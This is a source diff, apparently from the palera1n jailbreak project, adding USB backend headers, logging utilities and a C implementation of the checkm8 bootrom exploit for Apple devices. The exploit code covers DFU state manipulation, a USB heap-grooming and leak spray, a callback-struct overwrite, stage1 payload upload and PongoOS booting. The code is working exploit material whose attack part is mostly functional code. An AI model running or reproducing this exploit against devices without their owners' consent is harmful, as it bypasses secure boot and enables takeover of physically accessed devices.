* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifndef LIBOPENRA1N__BACKEND_SHIM_H
|
||||
#define LIBOPENRA1N__BACKEND_SHIM_H
|
||||
|
||||
#ifdef __APPLE__
|
||||
# include "usb_iokit.h"
|
||||
#else
|
||||
# include "usb_libusb.h"
|
||||
#endif
|
||||
|
||||
transfer_ret_t send_usb_control_request_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len);
|
||||
transfer_ret_t send_usb_control_request_async_no_data(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, size_t w_len, unsigned usb_abort_timeout);
|
||||
|
||||
#endif // LIBOPENRA1N__BACKEND_SHIM_H
|
||||
@@ -0,0 +1,58 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: MIT
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in all
|
||||
* copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
* SOFTWARE.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef LIBOPENRA1N__STAGE1_H
|
||||
#define LIBOPENRA1N__STAGE1_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#include <payload.h>
|
||||
|
||||
typedef struct
|
||||
{
|
||||
uint32_t endpoint, pad_0;
|
||||
uint64_t io_buffer;
|
||||
uint32_t status, io_len, ret_cnt, pad_1;
|
||||
uint64_t callback, next;
|
||||
} dfu_callback_t;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
dfu_callback_t callback;
|
||||
} checkm8_overwrite_t;
|
||||
|
||||
bool generate_stage1(
|
||||
void** outbuf,
|
||||
size_t* outlen,
|
||||
void* payload,
|
||||
size_t payload_sz,
|
||||
struct DeviceConfiguration *deviceConfig,
|
||||
struct PayloadConfiguration *payloadConfig
|
||||
);
|
||||
|
||||
#endif // LIBOPENRA1N__STAGE1_H
|
||||
@@ -0,0 +1,93 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2023 0x7ff
|
||||
* Copyright (C) 2023 Mineek
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifdef __APPLE__
|
||||
|
||||
#ifndef LIBOPENRA1N__IOKIT_BACKEND_H
|
||||
#define LIBOPENRA1N__IOKIT_BACKEND_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include <IOKit/IOCFPlugIn.h>
|
||||
#include <IOKit/usb/IOUSBLib.h>
|
||||
|
||||
#define USB_TIMEOUT (5)
|
||||
|
||||
#if TARGET_OS_IPHONE
|
||||
# define kUSBPipeStalled kUSBHostReturnPipeStalled
|
||||
#else
|
||||
# define kUSBPipeStalled kIOUSBPipeStalled
|
||||
#endif
|
||||
|
||||
#if TARGET_OS_IPHONE
|
||||
# define kUSBDeviceClassName "IOUSBHostDevice"
|
||||
#else
|
||||
# define kUSBDeviceClassName kIOUSBDeviceClassName
|
||||
#endif
|
||||
|
||||
enum usb_transfer {
|
||||
USB_TRANSFER_OK,
|
||||
USB_TRANSFER_ERROR,
|
||||
USB_TRANSFER_STALL,
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
enum usb_transfer ret;
|
||||
uint32_t sz;
|
||||
} transfer_ret_t;
|
||||
|
||||
typedef void (*usb_hotplug_callback_t)(
|
||||
io_service_t service,
|
||||
bool connected,
|
||||
void *user
|
||||
);
|
||||
|
||||
typedef struct {
|
||||
uint16_t vid, pid;
|
||||
io_service_t serv;
|
||||
IOUSBDeviceInterface320 **device;
|
||||
IOUSBInterfaceInterface245 **interface;
|
||||
CFRunLoopSourceRef async_event_source;
|
||||
} usb_handle_t;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
bool query_usb_interface(io_service_t serv, CFUUIDRef plugin_type, CFUUIDRef interface_type, LPVOID *interface);
|
||||
void close_usb_handle(usb_handle_t *handle);
|
||||
bool open_usb_device(io_service_t serv, usb_handle_t *handle);
|
||||
bool wait_usb_handle(usb_handle_t *handle);
|
||||
void reset_usb_handle(usb_handle_t *handle);
|
||||
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
|
||||
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout);
|
||||
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
|
||||
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, uint32_t len);
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // LIBOPENRA1N__IOKIT_BACKEND_H
|
||||
|
||||
#endif // __APPLE__
|
||||
@@ -0,0 +1,61 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2023 0x7ff
|
||||
* Copyright (C) 2023 Mineek
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifndef __APPLE__
|
||||
|
||||
#ifndef LIBOPENRA1N__LIBUSB_BACKEND_H
|
||||
#define LIBOPENRA1N__LIBUSB_BACKEND_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <libusb-1.0/libusb.h>
|
||||
|
||||
#define USB_TIMEOUT (5)
|
||||
|
||||
enum usb_transfer {
|
||||
USB_TRANSFER_OK,
|
||||
USB_TRANSFER_ERROR,
|
||||
USB_TRANSFER_STALL,
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
enum usb_transfer ret;
|
||||
uint32_t sz;
|
||||
} transfer_ret_t;
|
||||
|
||||
typedef struct {
|
||||
uint16_t vid, pid;
|
||||
struct libusb_device_handle *device;
|
||||
} usb_handle_t;
|
||||
|
||||
void close_usb_handle(usb_handle_t *handle);
|
||||
void reset_usb_handle(const usb_handle_t *handle);
|
||||
bool wait_usb_handle(usb_handle_t *handle);
|
||||
void usb_async_cb(struct libusb_transfer *transfer);
|
||||
transfer_ret_t send_usb_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
|
||||
transfer_ret_t send_usb_control_request_async(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len, unsigned usb_abort_timeout);
|
||||
transfer_ret_t send_interface_control_request(const usb_handle_t *handle, uint8_t bm_request_type, uint8_t b_request, uint16_t w_value, uint16_t w_index, void *p_data, size_t w_len);
|
||||
transfer_ret_t send_interface_bulk_transfer(const usb_handle_t *handle, void *data, int len);
|
||||
void init_usb_handle(usb_handle_t *handle, uint16_t vid, uint16_t pid);
|
||||
|
||||
#endif // LIBOPENRA1N__LIBUSB_BACKEND_H
|
||||
|
||||
#endif // __APPLE__
|
||||
@@ -0,0 +1,63 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#ifndef LIBOPENRA1N__UTILS_H
|
||||
#define LIBOPENRA1N__UTILS_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#define RESET_COLOR "\033[0m"
|
||||
#define RED_COLOR "\033[31m"
|
||||
#define GREEN_COLOR "\033[32m"
|
||||
#define YELLOW_COLOR "\033[33m"
|
||||
#define BLUE_COLOR "\033[34m"
|
||||
#define MAGENTA_COLOR "\033[35m"
|
||||
#define CYAN_COLOR "\033[36m"
|
||||
#define WHITE_COLOR "\033[37m"
|
||||
#define GRAY_COLOR "\033[90m"
|
||||
|
||||
extern uint8_t gDebugLevel;
|
||||
extern bool gSilentLogs;
|
||||
extern bool gColoredLogs;
|
||||
|
||||
typedef enum {
|
||||
LOG_INFO,
|
||||
LOG_ERROR,
|
||||
LOG_VERBOSE
|
||||
} log_level_t;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
void log_write_internal(log_level_t level, const char* func, const char* file, int line, const char *fmt, ...);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#define LOG(fmt, ...) log_write_internal(LOG_INFO, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
|
||||
#define LOG_ERROR(fmt, ...) log_write_internal(LOG_ERROR, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
|
||||
#define LOG_DEBUG(fmt, ...) log_write_internal(LOG_VERBOSE, __func__, __FILE__, __LINE__, fmt, ##__VA_ARGS__)
|
||||
|
||||
void sleep_ms(unsigned ms);
|
||||
|
||||
#endif // LIBOPENRA1N__UTILS_H
|
||||
@@ -0,0 +1,21 @@
|
||||
Copyright (c) checkra1n team. All rights reserved.
|
||||
|
||||
* This component is used under the following conditions:
|
||||
* 1. NON-AFFILIATION & ATTRIBUTION:
|
||||
Any product or project utilizing this code must clearly state that
|
||||
the resulting work was NOT developed by the checkra1n team.
|
||||
The checkra1n team is the original author of this specific component,
|
||||
but they do not endorse, support, or take responsibility for this implementation.
|
||||
|
||||
2. MIT LICENSE & DISCLAIMER:
|
||||
Subject to the condition above, this code is provided under the MIT License.
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
|
||||
The binary containing this shellcode is available from the following link: https://checkra.in/1337
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,375 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (C) 2023 0x7ff
|
||||
* Copyright (C) 2023 Mineek
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#include <checkm8.h>
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <string.h>
|
||||
|
||||
#include <payload.h>
|
||||
#include <dfu.h>
|
||||
#include <stage1.h>
|
||||
#include <utils.h>
|
||||
#include <shim.h>
|
||||
#include <gen/payloads/lz4dec.h>
|
||||
|
||||
#include <lz4/lz4.h>
|
||||
#include <lz4/lz4hc.h>
|
||||
|
||||
static struct {
|
||||
uint8_t b_len, b_descriptor_type;
|
||||
uint16_t bcd_usb;
|
||||
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
|
||||
uint16_t id_vendor, id_product, bcd_device;
|
||||
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
|
||||
} device_descriptor;
|
||||
|
||||
static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state)
|
||||
{
|
||||
struct {
|
||||
uint8_t status, poll_timeout[3], state, str_idx;
|
||||
} dfu_status;
|
||||
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status));
|
||||
|
||||
return result.ret == USB_TRANSFER_OK
|
||||
&& result.sz == sizeof(dfu_status)
|
||||
&& dfu_status.status == status
|
||||
&& dfu_status.state == state;
|
||||
}
|
||||
|
||||
static bool dfu_set_state_wait_reset(const usb_handle_t *handle)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0);
|
||||
|
||||
return result.ret == USB_TRANSFER_OK
|
||||
&& result.sz == 0
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
|
||||
}
|
||||
|
||||
checkm8_err_t checkm8_stage_reset(const usb_handle_t *handle)
|
||||
{
|
||||
LOG("checkm8 reset stage");
|
||||
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN);
|
||||
if (result.ret != USB_TRANSFER_OK || result.sz != DFU_FILE_SUFFIX_LEN)
|
||||
goto fail;
|
||||
|
||||
if (!dfu_set_state_wait_reset(handle))
|
||||
goto fail;
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ);
|
||||
if (result.ret != USB_TRANSFER_OK || result.sz != EP0_MAX_PACKET_SZ)
|
||||
goto fail;
|
||||
|
||||
return CHECKM8_ERR_NONE;
|
||||
|
||||
fail:
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0);
|
||||
|
||||
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||
}
|
||||
|
||||
checkm8_err_t checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig)
|
||||
{
|
||||
LOG("checkm8 setup stage");
|
||||
|
||||
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
||||
transfer_ret_t result;
|
||||
|
||||
for (;;) {
|
||||
result = send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout);
|
||||
|
||||
if (result.sz < deviceConfig->config_overwrite_pad) {
|
||||
result = send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - result.sz);
|
||||
|
||||
if (result.ret == USB_TRANSFER_STALL)
|
||||
return CHECKM8_ERR_NONE;
|
||||
}
|
||||
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ);
|
||||
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
||||
}
|
||||
|
||||
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||
}
|
||||
|
||||
static bool checkm8_usb_request_leak(const usb_handle_t *handle) {
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1);
|
||||
return result.sz == 0;
|
||||
}
|
||||
|
||||
static void checkm8_stall(const usb_handle_t *handle)
|
||||
{
|
||||
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
||||
transfer_ret_t result;
|
||||
|
||||
for (;;) {
|
||||
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout);
|
||||
|
||||
if (result.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle))
|
||||
break;
|
||||
|
||||
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
||||
}
|
||||
}
|
||||
|
||||
static bool checkm8_no_leak(const usb_handle_t *handle)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1);
|
||||
|
||||
return result.sz == 0;
|
||||
}
|
||||
|
||||
static bool checkm8_usb_request_stall(const usb_handle_t *handle)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0);
|
||||
|
||||
return result.ret == USB_TRANSFER_STALL;
|
||||
}
|
||||
|
||||
char *get_usb_serial_number(usb_handle_t *handle)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
uint8_t buf[UINT8_MAX];
|
||||
char *str = NULL;
|
||||
size_t i, sz;
|
||||
|
||||
result = send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor));
|
||||
|
||||
if (result.ret != USB_TRANSFER_OK || result.sz != sizeof(device_descriptor))
|
||||
return NULL;
|
||||
|
||||
result = send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf));
|
||||
|
||||
if (result.ret != USB_TRANSFER_OK || result.sz != buf[0])
|
||||
return NULL;
|
||||
|
||||
sz = buf[0] / 2;
|
||||
if (sz == 0)
|
||||
return NULL;
|
||||
|
||||
str = malloc(sz);
|
||||
if (str == NULL)
|
||||
return NULL;
|
||||
|
||||
for (i = 0; i < sz; ++i) str[i] = (char)buf[2 * (i + 1)];
|
||||
|
||||
str[sz - 1] = '\0';
|
||||
|
||||
return str;
|
||||
}
|
||||
|
||||
checkm8_err_t checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
|
||||
LOG("checkm8 trigger stage");
|
||||
|
||||
size_t i;
|
||||
transfer_ret_t result;
|
||||
|
||||
if(deviceConfig->config_large_leak == 0) {
|
||||
if(deviceConfig->cpid == A8X || deviceConfig->cpid == A8 || deviceConfig->cpid == S1 || deviceConfig->cpid == A9_TSMC || deviceConfig->cpid == A9) {
|
||||
while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
||||
} else {
|
||||
checkm8_stall(handle);
|
||||
for(i = 0; i < deviceConfig->config_hole; ++i) {
|
||||
while(!checkm8_no_leak(handle)) {}
|
||||
}
|
||||
while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1);
|
||||
} else {
|
||||
for(i = 0; i < deviceConfig->config_large_leak; ++i) {
|
||||
while(!checkm8_usb_request_stall(handle)) {}
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0);
|
||||
}
|
||||
|
||||
return CHECKM8_ERR_NONE;
|
||||
}
|
||||
|
||||
checkm8_err_t checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
|
||||
LOG("checkm8 patch stage");
|
||||
|
||||
size_t i, data_sz, packet_sz;
|
||||
void *data;
|
||||
transfer_ret_t result;
|
||||
bool ret = false;
|
||||
|
||||
const uint8_t *checkra1n_payload = NULL;
|
||||
void *overwrite = NULL;
|
||||
size_t checkra1n_payload_sz = 0;
|
||||
size_t overwrite_sz = 0;
|
||||
|
||||
checkm8_overwrite_t checkm8_overwrite;
|
||||
memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite));
|
||||
checkm8_overwrite.callback.next = payloadConfig->insecure_memory_base;
|
||||
overwrite = &checkm8_overwrite;
|
||||
overwrite_sz = sizeof(checkm8_overwrite);
|
||||
|
||||
ret = create_pongo_payload_for_device(deviceConfig->cpid, &checkra1n_payload, &checkra1n_payload_sz);
|
||||
if (!ret) return CHECKM8_ERR_UNSUPPORTED;
|
||||
|
||||
ret = generate_stage1(&data, &data_sz, checkra1n_payload, checkra1n_payload_sz, deviceConfig, payloadConfig);
|
||||
if (!ret) return CHECKM8_ERR_INVALID_PAYLOAD;
|
||||
|
||||
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
|
||||
LOG_DEBUG("successfully leaked data");
|
||||
} else {
|
||||
LOG_ERROR("failed to leak data");
|
||||
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||
}
|
||||
|
||||
for (i = 0; i < 2; i++) {
|
||||
LOG_DEBUG("i = %zu", i);
|
||||
result = send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0);
|
||||
}
|
||||
|
||||
if (overwrite != NULL) {
|
||||
result = send_usb_control_request(handle, 0x00, 0, 0, 0x00, overwrite, overwrite_sz);
|
||||
if (result.ret != USB_TRANSFER_STALL) {
|
||||
LOG_ERROR("failed to send overwrite data");
|
||||
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||
}
|
||||
|
||||
for (i = 0; ret && i < data_sz; i += packet_sz) {
|
||||
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
|
||||
|
||||
result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz);
|
||||
}
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0);
|
||||
}
|
||||
|
||||
// todo: do something with the result
|
||||
|
||||
free(data);
|
||||
|
||||
return ret ? CHECKM8_ERR_NONE : CHECKM8_ERR_TRANSFER_FAILED;
|
||||
}
|
||||
|
||||
static bool compress_pongo(const uint8_t *bin, size_t bin_len, uint8_t **out, size_t *out_len)
|
||||
{
|
||||
int src_size = (int)bin_len;
|
||||
int max_size = LZ4_compressBound(src_size);
|
||||
|
||||
uint8_t *buf = malloc(max_size);
|
||||
if (!buf)
|
||||
return false;
|
||||
|
||||
int size = LZ4_compress_HC(
|
||||
(const char *)bin,
|
||||
(char *)buf,
|
||||
src_size,
|
||||
max_size,
|
||||
LZ4HC_CLEVEL_MAX
|
||||
);
|
||||
|
||||
if (size <= 0) {
|
||||
free(buf);
|
||||
return false;
|
||||
}
|
||||
|
||||
*out = buf;
|
||||
*out_len = (size_t)size;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
#define SHELLCODE_SZ (512)
|
||||
|
||||
bool prepare_pongo(uint8_t **out, size_t *out_len, const uint8_t *pongo_bin, size_t pongo_bin_len)
|
||||
{
|
||||
size_t pongoSize;
|
||||
uint8_t *pongo;
|
||||
|
||||
if (!compress_pongo(pongo_bin, pongo_bin_len, &pongo, &pongoSize))
|
||||
return false;
|
||||
|
||||
LOG("Sending pongo image");
|
||||
|
||||
uint8_t *payload = malloc(SHELLCODE_SZ + pongoSize);
|
||||
if (!payload) {
|
||||
free(pongo);
|
||||
return false;
|
||||
}
|
||||
|
||||
memcpy(payload, payloads_lz4dec_bin, SHELLCODE_SZ);
|
||||
memcpy(payload + SHELLCODE_SZ, pongo, pongoSize);
|
||||
|
||||
free(pongo);
|
||||
|
||||
pongo = payload;
|
||||
pongoSize += SHELLCODE_SZ;
|
||||
|
||||
uint32_t *pongoSizeInData = (uint32_t *)(pongo + 0x1fc);
|
||||
*pongoSizeInData = (uint32_t)(pongoSize - SHELLCODE_SZ);
|
||||
|
||||
*out = pongo;
|
||||
*out_len = pongoSize;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
checkm8_err_t checkm8_boot_pongo(usb_handle_t *handle, const uint8_t *pongo_bin, size_t pongo_bin_len)
|
||||
{
|
||||
transfer_ret_t result;
|
||||
|
||||
size_t len = 0;
|
||||
|
||||
while (len < pongo_bin_len) {
|
||||
size_t chunk = (pongo_bin_len - len > 0x800) ? 0x800 : (pongo_bin_len - len);
|
||||
retry:
|
||||
result = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, pongo_bin + len, chunk);
|
||||
|
||||
if (result.sz != chunk || result.ret != USB_TRANSFER_OK)
|
||||
{
|
||||
LOG_DEBUG("retrying at len = %zu", len);
|
||||
sleep_ms(100);
|
||||
goto retry;
|
||||
}
|
||||
|
||||
len += chunk;
|
||||
LOG_DEBUG("len = %zu", len);
|
||||
}
|
||||
|
||||
result = send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0);
|
||||
if (result.ret != USB_TRANSFER_OK)
|
||||
return CHECKM8_ERR_TRANSFER_FAILED;
|
||||
|
||||
return CHECKM8_ERR_NONE;
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
/*
|
||||
* palera1n - https://palera.in
|
||||
*
|
||||
* Copyright (c) 2026 palera1n team
|
||||
*
|
||||
* SPDX-License-Identifier: Apache-2.0
|
||||
*
|
||||
* Licensed under the Apache License, Version 2.0 (the "License");
|
||||
* you may not use this file except in compliance with the License.
|
||||
* You may obtain a copy of the License at
|
||||
*
|
||||
* http://www.apache.org/licenses/LICENSE-2.0
|
||||
*
|
||||
* Unless required by applicable law or agreed to in writing, software
|
||||
* distributed under the License is distributed on an "AS IS" BASIS,
|
||||
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
* See the License for the specific language governing permissions and
|
||||
* limitations under the License.
|
||||
*/
|
||||
|
||||
#include <dfu.h>
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
|
||||
uint16_t dfu_serial_number_get_cpid(char *serial) {
|
||||
char *cpid = strstr(serial, "CPID:");
|
||||
if (cpid == NULL) { return -1; }
|
||||
return strtol(cpid + 5, NULL, 16);
|
||||
}
|
||||
|
||||
